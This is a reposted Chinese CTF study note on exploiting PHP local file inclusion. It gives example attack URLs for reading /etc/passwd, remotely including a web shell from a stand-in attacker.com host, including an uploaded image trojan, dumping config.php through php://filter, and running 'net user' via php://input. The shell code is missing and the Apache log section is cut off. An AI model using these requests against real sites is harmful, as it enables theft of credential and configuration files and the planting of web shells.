ctf学习笔记[转载]

本地文件包含的利用技巧\
1.读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。\
2.远程包含Shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:\

    ");?>\

访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:


3.本地包含配合文件上传
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:

    ");?>

访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。\

4.使用PHP封装协议

4.1 使用封装协议读取PHP文件
例子如下:

http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。

4.2 写入PHP文件
在allow_url_include为On时,构造URL:

http://www.example.com/index.php?page=php://input,并且提交数据为:

会得到net user命令的结果。\

5.包含Apache日志文件
本地文件包含的利用。
Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/

你可能感兴趣的:(学习笔记)